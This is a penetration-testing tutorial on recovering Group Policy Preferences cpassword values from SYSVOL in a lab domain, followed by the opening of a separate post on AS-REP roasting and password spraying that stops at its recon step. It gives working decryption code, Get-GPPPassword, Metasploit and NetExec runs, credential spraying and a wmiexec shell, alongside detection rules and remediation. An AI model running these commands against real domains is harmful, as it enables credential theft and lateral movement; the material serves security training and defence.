GPP cPassword in SYSVOL: Decrypting Group Policy Preferences Passwords with Get-GPPPassword

You’ve landed a single low-privilege domain account. No local admin, no special group memberships, nothing that screams “path to Domain Admin.” Before you touch Kerberoasting or ACL abuse, there is one read-only share every domain user can reach that has handed out clear-text local administrator passwords for over a decade. That share is SYSVOL, and the flaw is Group Policy Preferences.

Objective: Understand how Group Policy Preferences store credentials in SYSVOL, why the AES encryption protecting them provides zero confidentiality, and how to enumerate, extract, and decrypt cpassword values with findstr, native PowerShell, and Get-GPPPassword, then how a blue team detects every step of that chain.

Everything in this tutorial runs against a self-built lab domain (lab.local). Do not point any of these commands at production or a domain you are not explicitly authorized to test.


1. Background: What Group Policy Preferences Actually Do

Group Policy Preferences (GPP) arrived with Windows Server 2008 and Remote Server Administration Tools. Regular Group Policy settings enforce configuration; Preferences suggest it, letting an administrator set values that a user can later change. In practice GPP became the Swiss Army knife of domain management. It could create and modify local users and groups, map network drives, register ODBC data sources, deploy scheduled tasks, and configure Windows services.

Several of those actions need a credential. Creating a local user account needs a password. A scheduled task that runs under a service account needs that account’s password. A mapped drive to a locked-down share needs credentials. GPP solved this by letting the admin type the password once in the Group Policy Management Console (GPMC), then storing it inside the policy so every targeted machine could apply it.

That stored password is the entire problem.

Group Policy is delivered through SYSVOL, a replicated share hosted on every domain controller. When a workstation runs gpupdate (or reboots, or hits the periodic refresh), its client-side extensions read the relevant XML files out of SYSVOL and apply them locally. For that to work, every computer and every user in the domain must be able to read SYSVOL. The credential the admin typed is sitting in a world-readable file, and the only thing standing between an attacker and that password is a layer of encryption.

GPP TypeXML FileTypical Credential Stored
Local Users and GroupsGroups.xmlLocal Administrator or built-in account password
Scheduled TasksScheduledTasks.xmlRun-as service/admin account
ServicesServices.xmlService account credentials
Data SourcesDataSources.xmlODBC/database credentials
Drive MapsDrives.xmlNetwork share credentials

2. The Cryptographic Design Flaw

Microsoft did encrypt the password. GPP uses AES-256 in CBC mode, which in isolation is a perfectly respectable cipher. The failure is in how the key is managed.

AES is symmetric. The same key encrypts and decrypts. The security of the whole scheme therefore rests entirely on that key staying secret. Microsoft needed every domain-joined client in the world to be able to decrypt these values during policy processing, so the decryption key had to ship inside Windows itself. And to document the file format for interoperability, Microsoft published that exact 32-byte key in the open MS-GPPREF specification, section 2.2.1.1.

Here is the key, byte for byte:

4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

As a hex string:

4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b

To make things worse, the initialization vector is a fixed block of sixteen zero bytes. CBC mode uses the IV to randomize the first block so identical plaintexts produce different ciphertexts. A static null IV throws that property away. Encrypt the same password in two different policies and you get identical ciphertext.

Put plainly: a publicly documented static key plus a null IV means the encryption is decorative. Anyone with the specification (or a copy of any GPP decryption tool) can reverse it instantly. There is no cracking, no brute force, no wordlist. It is a straight, deterministic decrypt.

The processing pipeline the attacker reverses looks like this:

  1. Read the cpassword attribute from the XML.
  2. Restore Base64 padding to a multiple of four characters.
  3. Base64-decode to raw ciphertext bytes.
  4. Decrypt with AES-256-CBC using the static key and null IV.
  5. Decode the plaintext as UTF-16-LE (Windows Unicode).

Flowchart showing the five-step GPP cPassword decryption pipeline from Base64 ciphertext to plaintext password using the static AES-256 key and null IV
Every cpassword value follows this deterministic decode – no cracking required because the key and IV are public constants.

3. SYSVOL Structure and XML Anatomy

Before you can hunt for cpassword, you need to know the terrain. SYSVOL is exposed as a share named SYSVOL on every DC and mapped internally to C:\Windows\SYSVOL\sysvol\<domain>. Under it, the Policies folder holds one subfolder per GPO, named by the GPO’s GUID.

The canonical path to a credential-bearing file is:

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{<GPO-GUID>}\MACHINE\Preferences\<Type>\<Type>.xml

The MACHINE branch holds computer-scoped preferences; there is a parallel USER branch for user-scoped ones. A real Groups.xml generated by the lab looks like this:

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
        name="Administrator"
        image="2"
        changed="2024-01-15 10:22:11"
        uid="{A9B4C1D2-4E5F-4a6b-8c7d-1e2f3a4b5c6d}">
    <Properties action="U"
                newName=""
                fullName=""
                description=""
                cpassword="VsJpuTqGEDarF7DmeSVmDJnTMZx1HIKFQwDvkRfFB6s="
                changeLogon="0"
                noChange="0"
                neverExpires="1"
                acctDisabled="0"
                userName="Administrator"/>
  </User>
</Groups>

The attributes that matter for triage:

AttributeMeaning
cpasswordBase64-encoded AES-256-CBC ciphertext of the password
userNameAccount the credential belongs to
newNameOptional rename value applied to the account
actionC = Create, U = Update, D = Delete, R = Replace
changedLast modification timestamp of the policy

The changed timestamp is your triage friend. A cpassword last modified before 2014 is almost certainly a pre-patch artifact nobody remembered to clean up.

The reason you can read any of this as a nobody: the SYSVOL DACL grants Read & Execute to Authenticated Users (and read to Domain Computers). That is by design, because policy application happens in the security context of the machine and the logged-on user. There is no way to hide the file from readers without breaking Group Policy for the same targets, which is exactly why the flaw is so nasty.


4. MS14-025: The Patch That Left the Barn Door Open

Microsoft shipped MS14-025 (KB2962486) in May 2014. It is worth being precise about what that patch does, because a lot of people assume “patched” means “safe here.”

The patch removes the ability of the GPMC UI to create new preferences that store a password. Try to type a password into a Groups, Services, Scheduled Tasks, or Data Sources preference on a patched management box and the field is disabled. That is the entire fix.

What the patch deliberately does not do:

  • It does not scan SYSVOL.
  • It does not delete or rewrite existing cpassword values.
  • It does not touch policies already deployed.

Microsoft made that choice on purpose. So many organizations were using GPP to manage the local Administrator password across their fleet that ripping out existing policies would have broken production. So the old files were left in place, and the ability to delete (action D) accounts via GPP was retained. The upshot: every cpassword written before the patch is still sitting in SYSVOL after the patch, fully decryptable, years later. I have found live Domain Admin service-account passwords this way on engagements against fully patched 2019 domains. The patch date and the file’s changed date tell the whole story.


5. Lab Setup: Building a Vulnerable Domain

Build a minimal lab in VirtualBox, VMware, or Hyper-V:

ComponentSpecAddress
Domain ControllerWindows Server 2022 Evaluation192.168.10.10 (DC01)
Domainlab.local
WorkstationWindows 10 22H2, domain-joined192.168.10.20
AttackerKali Linux192.168.10.50

Promote DC01 to a domain controller for lab.local, join the Windows 10 box, and create a throwaway low-privilege user (lowprivuser) with password Password1. That user represents your foothold.

Now create the vulnerable artifact. This step deliberately writes a cpassword to SYSVOL. On a fully patched 2022 box the GPMC field is disabled, so use a management machine without KB2962486, or (simplest for the lab) drop the pre-built Groups.xml shown in Section 3 straight into a policy folder and let SYSVOL replicate it.

On the DC:

# Create a new GPO and grab its GUID
New-GPO -Name "Lab-GPP-Test" | Select-Object DisplayName, Id
DisplayName   Id
-----------   --
Lab-GPP-Test  a1b2c3d4-1111-2222-3333-444455556666
# Place the vulnerable Groups.xml into the GPO's MACHINE Preferences path
$guid = "{a1b2c3d4-1111-2222-3333-444455556666}"
$dst  = "C:\Windows\SYSVOL\sysvol\lab.local\Policies\$guid\MACHINE\Preferences\Groups"
New-Item -ItemType Directory -Path $dst -Force | Out-Null
Copy-Item .\Groups.xml -Destination "$dst\Groups.xml"
Get-Item "$dst\Groups.xml" | Select-Object FullName, Length
FullName                                                                                                    Length
--------                                                                                                    ------
C:\Windows\SYSVOL\sysvol\lab.local\Policies\{a1b2c3d4-...}\MACHINE\Preferences\Groups\Groups.xml               612

The lab is now vulnerable. The Groups.xml carries cpassword="VsJpuTqGEDarF7DmeSVmDJnTMZx1HIKFQwDvkRfFB6s=", which decrypts to Lab@12345! for the local Administrator account.


6. Enumeration: Finding cpassword in SYSVOL

Never decrypt before you enumerate. The whole value of this technique is that discovery costs nothing and needs no privilege. Log in as lowprivuser and confirm you can even reach SYSVOL.

# Confirm the DC and SYSVOL are reachable
Test-NetConnection -ComputerName DC01.lab.local -Port 445
ComputerName     : DC01.lab.local
RemoteAddress    : 192.168.10.10
RemotePort       : 445
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.10.20
TcpTestSucceeded : True

Port 445 is SMB. SYSVOL rides over SMB, and because you authenticated as a domain user, your access token carries the Authenticated Users group, which is exactly the group the SYSVOL DACL grants read to. No exploit required; you are using the share exactly as designed.

Method A: Native findstr

The single most portable way to hunt cpassword uses a tool present on every Windows box since XP.

findstr /S /I cpassword \\lab.local\sysvol\lab.local\policies\*.xml
\\lab.local\sysvol\lab.local\policies\{a1b2c3d4-1111-2222-3333-444455556666}\MACHINE\Preferences\Groups\Groups.xml:    <Properties action="U" newName="" fullName="" description="" cpassword="VsJpuTqGEDarF7DmeSVmDJnTMZx1HIKFQwDvkRfFB6s=" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"/>

/S recurses subdirectories, /I is case-insensitive. The hit gives you the exact file, the cpassword ciphertext, and the target account (userName="Administrator") in one line. That finding tells you a local Administrator password is recoverable and, if this is a pre-LAPS environment, likely identical across the fleet.

Method B: PowerShell recursive search

If you want structured output or you are already in a PowerShell session:

Get-ChildItem -Path "\\lab.local\SYSVOL\lab.local\Policies" -Recurse -Include *.xml -ErrorAction SilentlyContinue |
    Select-String -Pattern "cpassword" |
    Select-Object Path, LineNumber
Path                                                                                                              LineNumber
----                                                                                                              ----------
\\lab.local\SYSVOL\lab.local\Policies\{a1b2c3d4-...}\MACHINE\Preferences\Groups\Groups.xml                                 3

Method C: From a Linux attacker box over SMB

You do not need a Windows foothold. Any credential that can authenticate to the DC can pull SYSVOL over SMB.

smbclient //192.168.10.10/SYSVOL -U 'lab.local\lowprivuser%Password1'
Try "help" to get a list of possible commands.
smb: \>
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget lab.local\Policies\*\MACHINE\Preferences\Groups\Groups.xml
getting file \lab.local\Policies\{a1b2c3d4-...}\MACHINE\Preferences\Groups\Groups.xml of size 612 as ...Groups.xml

Now you have a copy offline. Whatever the method, the deliverable from this phase is identical: one or more cpassword ciphertext blobs and the account each belongs to.


7. Manual Decryption

Understanding the decrypt by hand is worth the ten minutes. Tools abstract it away, but when a tool chokes on odd padding or a non-standard encoding you want to know exactly what is happening.

The one gotcha that costs people time: Base64 padding. GPP cpassword values are frequently stored without their trailing = characters, so a naive base64decode throws an “incorrect padding” error. You restore the padding based on string length modulo four before decoding. I lost the better part of a coffee break to this the first time before I checked the string length.

Here is a self-contained Python decryptor. It runs only against ciphertext you pulled from your lab.

# gpp_decrypt.py  -  AES-256-CBC static-key decryptor for GPP cpassword
# Requires: pip install pycryptodome
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# Static AES-256 key from MS-GPPREF section 2.2.1.1
KEY = bytes.fromhex("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
IV  = b"\x00" * 16   # fixed null IV

def decrypt_cpassword(cpassword: str) -> str:
    # Restore Base64 padding to a multiple of 4
    pad = len(cpassword) % 4
    if pad == 2:
        cpassword += "=="
    elif pad == 3:
        cpassword += "="
    ciphertext = base64.b64decode(cpassword)
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
    return plaintext.decode("utf-16-le")   # Windows Unicode

if __name__ == "__main__":
    cpw = "VsJpuTqGEDarF7DmeSVmDJnTMZx1HIKFQwDvkRfFB6s="
    print(f"[*] Decrypted password: {decrypt_cpassword(cpw)}")
python3 gpp_decrypt.py
[*] Decrypted password: Lab@12345!

Notice there is no key search and no iteration. The key is a constant, the IV is a constant, so decryption is deterministic and instant. That is the whole point of Section 2 made concrete: this cipher protects nothing.

If you prefer to stay native on Windows, the same logic works with the .NET crypto classes:

$cpw = "VsJpuTqGEDarF7DmeSVmDJnTMZx1HIKFQwDvkRfFB6s="
$key = [byte[]](0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
$mod = $cpw.Length % 4
if ($mod -eq 2) { $cpw += "==" } elseif ($mod -eq 3) { $cpw += "=" }
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Key = $key
$aes.IV  = New-Object byte[] 16          # null IV
$dec = $aes.CreateDecryptor()
$bytes = [Convert]::FromBase64String($cpw)
$out = $dec.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.Text.Encoding]::Unicode.GetString($out)
Lab@12345!

8. Automated Exploitation with Get-GPPPassword

PowerSploit’s Get-GPPPassword (author Chris Campbell, @obscuresec) does the enumeration and the decryption in one shot. It walks the target DC’s SYSVOL, finds Groups.xml, ScheduledTasks.xml, Services.xml, and DataSources.xml, extracts every cpassword, and decrypts each with the static key. Internally it forces the null IV explicitly ($AesObject.IV = $AesIV) so decryption always matches Microsoft’s scheme.

Import and run it as the low-priv user:

Set-ExecutionPolicy Bypass -Scope Process -Force
Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword
NewName   : [BLANK]
Changed   : {2024-01-15 10:22:11}
Passwords : {Lab@12345!}
UserNames : {Administrator}
File      : \\lab.local\SYSVOL\lab.local\Policies\{a1b2c3d4-1111-2222-3333-444455556666}\MACHINE\Preferences\Groups\Groups.xml

Target a specific DC when the current-domain default is not what you want:

Get-GPPPassword -Server DC01.lab.local
NewName   : [BLANK]
Changed   : {2024-01-15 10:22:11}
Passwords : {Lab@12345!}
UserNames : {Administrator}
File      : \\lab.local\SYSVOL\lab.local\Policies\{a1b2c3d4-...}\MACHINE\Preferences\Groups\Groups.xml

In a forest with trusts, -SearchForest maps every reachable trust and searches all of their SYSVOL shares. This is how one foothold turns into credentials from partner domains.

Get-GPPPassword -SearchForest
NewName   : [BLANK]
Changed   : {2024-01-15 10:22:11}
Passwords : {Lab@12345!}
UserNames : {Administrator}
File      : \\lab.local\SYSVOL\lab.local\Policies\{a1b2c3d4-...}\MACHINE\Preferences\Groups\Groups.xml

To collapse output to a clean, unique password list for spraying:

Get-GPPPassword | ForEach-Object { $_.Passwords } | Sort-Object -Unique
Lab@12345!

9. Alternative Tooling

The same primitive is exposed by half the offensive toolchain. Pick whichever fits your access.

Metasploit post module

If you already have a Meterpreter session on a domain-joined host, post/windows/gather/credentials/gpp locates the host’s DC, connects over SMB, and decrypts everything it finds.

msf6 > use post/windows/gather/credentials/gpp
msf6 post(windows/gather/credentials/gpp) > set SESSION 1
msf6 post(windows/gather/credentials/gpp) > run
[*] Checking for group policy history objects...
[*] Connecting to default domain controller: DC01.lab.local
[+] Group Policy Credential Info
    ================================
    Type       : Groups.xml
    USERNAME   : Administrator
    PASSWORD   : Lab@12345!
    DOMAIN     : lab.local
    CHANGED    : 2024-01-15 10:22:11
    NEWNAME    : N/A

[+] XML file saved to: /root/.msf4/loot/20240115..._gpp.xml
[*] Post module execution completed

NetExec / CrackMapExec module

From Linux, an authenticated run with the gpp_password module does the enumeration and decrypt remotely.

netexec smb DC01.lab.local -u lowprivuser -p 'Password1' -d lab.local -M gpp_password
SMB   192.168.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local)
SMB   192.168.10.10  445  DC01  [+] lab.local\lowprivuser:Password1
GPP_P 192.168.10.10  445  DC01  [+] Found SYSVOL share
GPP_P 192.168.10.10  445  DC01  [+] Found credentials in Groups.xml
GPP_P 192.168.10.10  445  DC01  Password: Lab@12345!
GPP_P 192.168.10.10  445  DC01  Username: Administrator

Offline single-file decryption

If you only exfiltrated the XML, gpp-decrypt handles it locally.

gpp-decrypt -f Groups.xml
[*] Parsing Groups.xml
[+] Username: Administrator
[+] Password: Lab@12345!

10. Lateral Movement with Recovered Credentials

A recovered password is only interesting if it opens doors. In pre-LAPS environments the classic pattern is a single local Administrator password imaged onto every workstation, so one Groups.xml hit becomes local admin on the entire fleet.

First, validate the credential broadly before you make noise on any single host. This is credential spraying against local auth.

netexec smb 192.168.10.0/24 -u Administrator -p 'Lab@12345!' --local-auth
SMB   192.168.10.20  445  WKS01  [*] Windows 10 22H2 Build 19045 x64 (name:WKS01) (domain:WKS01)
SMB   192.168.10.20  445  WKS01  [+] WKS01\Administrator:Lab@12345! (Pwn3d!)
SMB   192.168.10.21  445  WKS02  [+] WKS02\Administrator:Lab@12345! (Pwn3d!)
SMB   192.168.10.22  445  WKS03  [+] WKS03\Administrator:Lab@12345! (Pwn3d!)

--local-auth tells the tool the account is local to each machine, not a domain account, so authentication happens against the target’s SAM over NTLM rather than through Kerberos at the DC. Pwn3d! means the account has administrative rights on that host, which is what enables remote code execution.

The mechanism underneath: over SMB, NTLM authentication is a challenge-response using the account’s password hash. When you supply the plaintext, the client derives the NT hash and completes the exchange. Because the SAM entry for the local Administrator is identical across imaged machines, the same password works everywhere. This is exactly why local admin password reuse is so dangerous, and why LAPS exists to break it.

Now execute on a confirmed host. WMI is quieter than PsExec because it does not drop a service binary.

impacket-wmiexec 'Administrator:Lab@12345!@192.168.10.20' -local-auth
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
nt authority\system
C:\>hostname
WKS01

You now hold NT AUTHORITY\SYSTEM on a fleet host from a single low-privilege domain account. From here the natural next steps are dumping LSASS for cached domain credentials, hunting for a logged-in Domain Admin, or pivoting further. That is where this technique feeds the rest of the AD attack chain.


A skeleton key opening many identical padlocks simultaneously, symbolising local administrator password reuse across an entire workstation fleet
A single cpassword hit in a pre-LAPS environment often means local admin access across every imaged workstation in the domain.

11. Common Attacker Techniques

TechniqueDescription
SYSVOL cpassword harvestingRecursively grep SYSVOL for cpassword across all GPO folders
Static-key AES decryptionDecrypt ciphertext with the published MS-GPPREF key and null IV
Forest-wide sweepUse -SearchForest to pull GPP creds from every reachable trusted domain
Offline decryptionExfiltrate XML and decrypt on the attacker box to avoid on-host tooling
Local-admin password reuseSpray a recovered local Administrator password fleet-wide (--local-auth)
Service/task account theftRecover service and scheduled-task run-as accounts, often high-privilege

Do not tunnel-vision on Groups.xml. On real engagements the juiciest hits come from ScheduledTasks.xml and Services.xml, where run-as accounts are frequently domain accounts with far more reach than a local admin, sometimes Domain Admin itself.


12. Defensive Strategies & Detection

Detection splits into two vantage points: the domain controller (who is reading SYSVOL) and the endpoint (who is running the decryption tooling).

Domain controller: share and file access auditing

The DC sees every SYSVOL read over SMB. The events you want are gated behind audit policy, so enable these first via GPO under Advanced Audit Policy Configuration:

  • Object Access -> Audit File Share (Success) for Event ID 5140
  • Object Access -> Audit Detailed File Share (Success) for Event ID 5145
  • Logon/Logoff -> Audit Logon (Success) for Event ID 4624
Event IDTriggerGPP Relevance
5140Network share accessedFires when a host connects to \\*\SYSVOL
5145Detailed file share object accessFires per file under \Policies\; a recursive cpassword grep generates many
4624 (Type 3)Network logonTies source account and IP to the share access
4688Process creationCatches findstr ... cpassword if command-line logging is on

The strongest signal is a burst of 5145 events for *.xml under \Policies\ from a single non-computer account in a short window. Legitimate policy processing is done by SYSTEM and machine accounts (names ending in $); a human user account rapidly walking every policy folder is the anomaly.

Endpoint: tool execution and script block logging

Sysmon Event IDDetection Signal
Event ID 1 (Process Create)powershell.exe with a suspicious CommandLine / ParentImage; findstr with cpassword
Event ID 3 (Network Connection)PowerShell opening SMB (445) to a DC
Event ID 7 (Image Loaded)Crypto assemblies (System.Security classes) loaded in a PowerShell context

PowerShell Script Block Logging is the highest-fidelity endpoint catch. With WMF 5.0+ and EnableScriptBlockLogging = 1 under HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging, the full Get-GPPPassword body is recorded to Microsoft-Windows-PowerShell/Operational as Event ID 4104. The ScriptBlockText field will contain giveaway strings like Get-GPPPassword, cpassword, AesObject, and CreateDecryptor.

Sigma rule

This is a conceptual rule. Tune the exclusions against your environment before deploying it. In particular, exclude SYSTEM and computer accounts, or you will drown in legitimate policy processing.

title: Suspicious SYSVOL GPP XML Access
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    ShareName|contains: 'SYSVOL'
    RelativeTargetName|endswith:
      - 'Groups.xml'
      - 'ScheduledTasks.xml'
      - 'Services.xml'
      - 'DataSources.xml'
      - 'Drives.xml'
  filter_machine:
    SubjectUserName|endswith: '$'
  condition: selection and not filter_machine
falsepositives:
  - Legitimate GPO processing by SYSTEM or machine accounts
  - GPO management workstations
level: medium
tags:
  - attack.credential_access
  - attack.t1552.006

A companion rule targeting Event ID 4104 for the strings cpassword, Get-GPPPassword, and 4e9906e8 catches the decryption tooling regardless of where SYSVOL was read.

A cheap high-signal tripwire

Drop a decoy Groups.xml with a bogus cpassword into a visible but non-standard policy folder and put a SACL on it. Legitimate clients never process it, so any read is almost certainly an attacker or a scanner enumerating SYSVOL. One alert, near-zero false positives.


Graph diagram mapping attacker actions - SMB SYSVOL read and AES decryption - to the corresponding detection events: Security Event 5145, PowerShell Event 4104, Sysmon Event 1, and a decoy Groups.xml tripwire
Every stage of the GPP attack chain has a corresponding detection telemetry source – auditing must be pre-enabled to catch it.

13. Tools for GPP Analysis

ToolDescriptionLink
Get-GPPPasswordPowerSploit cmdlet: enumerate + decrypt SYSVOL GPP credsgithub.com
Metasploit gpp modulepost/windows/gather/credentials/gpp post-exploitation harvestmetasploit.com
NetExec / CrackMapExecRemote authenticated gpp_password modulenetexec.wiki
gpp-decryptOffline single-file / single-value decryptorkali.org
findstrNative Windows recursive cpassword searchmicrosoft.com
Impacket (wmiexec, psexec)Pass-the-password lateral movementgithub.com
Get-SettingsWithCPassword.ps1Microsoft cleanup script for legacy cpasswordmicrosoft.com

MITRE ATT&CK mapping

TechniqueMITRE IDDetection
Unsecured CredentialsT1552Parent technique
Unsecured Credentials: Group Policy PreferencesT1552.006Event ID 5145 on SYSVOL *.xml; 4104 script block logging
Remote Services: SMB/Windows Admin SharesT1021.002Event ID 5140/5145, 4624 Type 3
Valid Accounts: Domain AccountsT1078.002Anomalous logons with recovered credentials
Use Alternate Authentication Material: Pass the HashT1550.002NTLM auth from unexpected sources

14. Remediation and Hardening

Order matters here. Patching alone does nothing for the files already in SYSVOL.

  1. Scan and purge cpassword from SYSVOL first. Run Microsoft’s Get-SettingsWithCPassword.ps1, or grep SYSVOL yourself across all five XML types, and delete or rebuild every offending GPO without a stored credential. This is the only step that removes the exposed secret.
  2. Rotate every recovered password. If a cpassword existed, treat it as compromised. Change the local admin password and any service or task account it referenced.
  3. Deploy Windows LAPS (2023+) or legacy LAPS. LAPS gives each machine a unique, randomized local admin password stored as an encrypted AD attribute (msLAPS-Password, or legacy ms-Mcs-AdmPwd). It kills both the reuse problem and the operational need that drove admins to GPP in the first place.
  4. Confirm KB2962486 (MS14-025) is applied on all management endpoints so no new cpassword can be created.
  5. Enable Detailed File Share auditing on DCs, scoped via SACL to \SYSVOL\*\Policies\ to keep event volume sane.
  6. Enable PowerShell Script Block Logging domain-wide to catch decryption tooling.
  7. Consider Constrained Language Mode or WDAC to break ad-hoc instantiation of AesManaged in untrusted scripts.

Summary

  • A publicly documented static AES key plus a null IV makes GPP cpassword encryption purely cosmetic; anyone who can read SYSVOL can decrypt it. No cracking, no privilege, just a deterministic decode.
  • Every domain user has read access to SYSVOL by design, so findstr /S /I cpassword or Get-GPPPassword recovers clear-text credentials from a plain foothold.
  • MS14-025 blocks new cpassword creation but leaves existing values in SYSVOL, so patched domains stay vulnerable for years.
  • Recovered local admin passwords enable fleet-wide lateral movement (T1552.006 into T1021.002), especially in pre-LAPS environments with a shared local admin.
  • Detect it with Security Event ID 5145 on SYSVOL *.xml, PowerShell Event ID 4104, and Sysmon; remediate by purging cpassword, rotating secrets, and deploying LAPS.

References

From-Zero AS-REP Roasting and Password Spraying: Getting Your First Credential with No Creds

You land on an internal network with an IP, a subnet, and nothing else. No username, no password, no hash. Most of the flashy AD tradecraft you read about assumes you already have a credential. This post is about the part nobody skips but everyone glosses over: turning zero into one. The first valid credential in a domain is the hardest one to get and the most valuable, because everything downstream (Kerberoasting, BloodHound collection, ACL abuse, lateral movement) needs an authenticated foothold to start.

Objective: Build an intentionally vulnerable lab.local domain, then chain unauthenticated username enumeration, Kerberos and NTLM password spraying, and AS-REP Roasting into a working domain credential. You will understand the Kerberos AS exchange at the protocol level, why disabled pre-authentication is a gift, how to stay under the lockout threshold, and exactly what the blue team sees when you do it.


1. Pre-Requisites and Lab Setup

You need two machines on the same network segment.

RoleOSIPPurpose
Domain ControllerWindows Server 2019/202210.10.10.10lab.local KDC, LDAP, DNS
AttackerKali Linux10.10.10.50Not domain joined, no creds

Promote the server to a domain controller for lab.local. Run this in an elevated PowerShell on the fresh server:

Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "lab.local" -DomainNetbiosName "LAB" -InstallDns -Force
Success Restart Needed Exit Code      Feature Result
------- -------------- ---------      --------------
True    Yes            SuccessRest... {Active Directory Domain Services, Group P...}

The target server will be configured as a domain controller and restarted...

After the reboot, create the three deliberately misconfigured accounts. svc_legacy is the AS-REP Roasting target, jsmith is the spray target, adm_backup is a honeypot that should never authenticate.

# The AS-REP Roasting target: pre-auth disabled, weak password in rockyou
New-ADUser -Name "svc_legacy" -SamAccountName "svc_legacy" `
  -AccountPassword (ConvertTo-SecureString "Winter2023!" -AsPlainText -Force) `
  -Enabled $true -PasswordNeverExpires $true
Set-ADAccountControl -Identity "svc_legacy" -DoesNotRequirePreAuth $true

# The spray target: normal account, weak seasonal password
New-ADUser -Name "jsmith" -SamAccountName "jsmith" `
  -AccountPassword (ConvertTo-SecureString "Spring2024!" -AsPlainText -Force) `
  -Enabled $true

# The honeypot: never logs in, any auth against it is malicious
New-ADUser -Name "adm_backup" -SamAccountName "adm_backup" `
  -AccountPassword (ConvertTo-SecureString "Gd7#kQ!v29xLmZ0pTfWn" -AsPlainText -Force) `
  -Enabled $true
# (no output on success; verify below)

Set the domain lockout policy so the lab mirrors a real environment: five bad passwords locks an account, and the observation window resets after 30 minutes.

Set-ADDefaultDomainPasswordPolicy -Identity lab.local `
  -LockoutThreshold 5 `
  -LockoutObservationWindow (New-TimeSpan -Minutes 30) `
  -LockoutDuration (New-TimeSpan -Minutes 30)
Get-ADDefaultDomainPasswordPolicy | Select LockoutThreshold, LockoutObservationWindow
LockoutThreshold LockoutObservationWindow
---------------- ------------------------
               5 00:30:00

Confirm the misconfiguration is live before you attack it:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
  Select SamAccountName, Enabled, DoesNotRequirePreAuth
SamAccountName Enabled DoesNotRequirePreAuth
-------------- ------- ---------------------
svc_legacy        True                  True

On the Kali box, install the toolkit:

sudo apt install -y impacket-scripts crackmapexec ldap-utils hashcat john
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute
kerbrute_linux_amd64        100%[===================>]   8.42M  --.-KB/s    in 0.1s

2. Kerberos Pre-Authentication Primer

Before touching a tool, understand what you are actually abusing. Kerberos on Windows runs on the domain controller, which acts as the Key Distribution Center (KDC). The KDC has two halves: the Authentication Service (AS) that hands out Ticket Granting Tickets (TGTs), and the Ticket Granting Service (TGS) that hands out service tickets. AS-REP Roasting lives entirely in the first exchange.

The normal AS exchange (pre-auth enabled)

  1. The client sends an AS-REQ to the KDC on port 88. When pre-authentication is required, that request carries a PA-DATA field of type PA-ENC-TIMESTAMP: the current time, encrypted with the user’s long-term key. That key is derived from the password through the Kerberos string-to-key function. For RC4 it is simply the NT hash (MD4 of the UTF-16 password); for AES it is a PBKDF2 derivation.
  2. The KDC looks up the account, derives the same key from the stored password hash, and tries to decrypt the timestamp. If it decrypts to a fresh, sane time value, the KDC is satisfied that the client knows the password.
  3. Only then does the KDC return an AS-REP. That reply contains two things: the TGT (encrypted with the krbtgt account key, so only the KDC can read it) and an enc-part blob encrypted with the user’s long-term key, holding the session key and ticket metadata.

The important detail: the enc-part in the AS-REP is encrypted with the user’s password-derived key regardless of whether pre-auth happened. Pre-authentication is the gate that stops you from ever seeing that blob without proving you know the password first.

What DONT_REQ_PREAUTH removes

When an account has userAccountControl bit 0x400000 set, the KDC skips step 2 entirely. Send an AS-REQ with no PA-DATA, and the KDC cheerfully returns a full AS-REP, including the enc-part encrypted with the user’s key. You now hold ciphertext whose plaintext structure you know, encrypted under the user’s password. That is an offline cracking problem. No lockout, no failed logons, no interaction with the account owner. Per RFC 4120 the correct verb is “encrypted,” not “hashed,” and the blob is signed with the client key, which is exactly what lets you brute-force it offline.

IdentifierWhat it is
AS-REQAuthentication Server Request to the KDC on port 88
AS-REPReply carrying the TGT plus a blob encrypted with the user’s long-term key
PA-DATA (padata)Pre-auth field in the AS-REQ; absent means no pre-auth was supplied
DONT_REQ_PREAUTHuserAccountControl bit 0x400000, account skips pre-auth
krb5asrep hashThe crackable blob from the AS-REP; Hashcat mode 18200, John krb5asrep

If you want to see it on the wire, run Wireshark on the attacker host with a kerberos display filter during Step 3. A normal login shows two AS-REQ frames (the first rejected with KRB5KDC_ERR_PREAUTH_REQUIRED, the second with padata). A roastable account shows a single AS-REQ with no padata followed immediately by an AS-REP. That single-request pattern is the roasting signature.


Diagram comparing the normal Kerberos AS exchange requiring PA-ENC-TIMESTAMP pre-authentication against the DONT_REQ_PREAUTH flow that returns a crackable enc-part with no credential supplied
With pre-auth disabled the KDC skips timestamp validation and hands back an enc-part encrypted with the user’s password-derived key – the offline cracking opportunity.

3. Step 0 – Recon With No Credentials

